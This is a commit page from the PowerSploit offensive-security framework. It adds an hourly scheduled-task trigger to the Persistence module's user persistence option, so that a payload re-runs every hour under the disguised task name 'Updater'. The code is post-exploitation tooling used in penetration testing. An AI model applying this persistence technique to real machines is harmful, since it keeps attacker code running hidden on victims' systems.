aboutsummaryrefslogtreecommitdiff
path: root/Persistence
diff options
context:
space:
mode:
authorpyllyukko <pyllyukko@maimed.org>2016-04-25 17:44:24 +0300
committerpyllyukko <pyllyukko@maimed.org>2016-04-25 17:44:24 +0300
commit75a37a0f175a70566ac23fc6839aaffccee18abd (patch)
tree202a5271fedf9c8309cfb73d29db46bb1b83cd3b /Persistence
parenta6564f44833fa6fbbc8d05f337781abf03f05e44 (diff)
downloadPowerSploit-75a37a0f175a70566ac23fc6839aaffccee18abd.tar.gz
PowerSploit-75a37a0f175a70566ac23fc6839aaffccee18abd.zip
Added ScheduledTaskHourly to New-UserPersistenceOption
Diffstat (limited to 'Persistence')
-rw-r--r--Persistence/Persistence.psm120
1 files changed, 20 insertions, 0 deletions
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1
index b957cb7..0861af6 100644
--- a/Persistence/Persistence.psm1
+++ b/Persistence/Persistence.psm1
@@ -229,6 +229,10 @@ function New-UserPersistenceOption
Starts the payload daily.
+.PARAMETER Hourly
+
+ Starts the payload hourly.
+
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -248,6 +252,7 @@ function New-UserPersistenceOption
[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
@@ -260,6 +265,10 @@ function New-UserPersistenceOption
[Switch]
$Daily,
+ [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
+ [Switch]
+ $Hourly,
+
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
@@ -300,6 +309,12 @@ function New-UserPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}
+ 'ScheduledTaskHourly'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'Hourly'
+ }
+
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -637,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
+ 'Hourly'
+ {
+ $UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
+ }
+
'OnIdle'
{
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "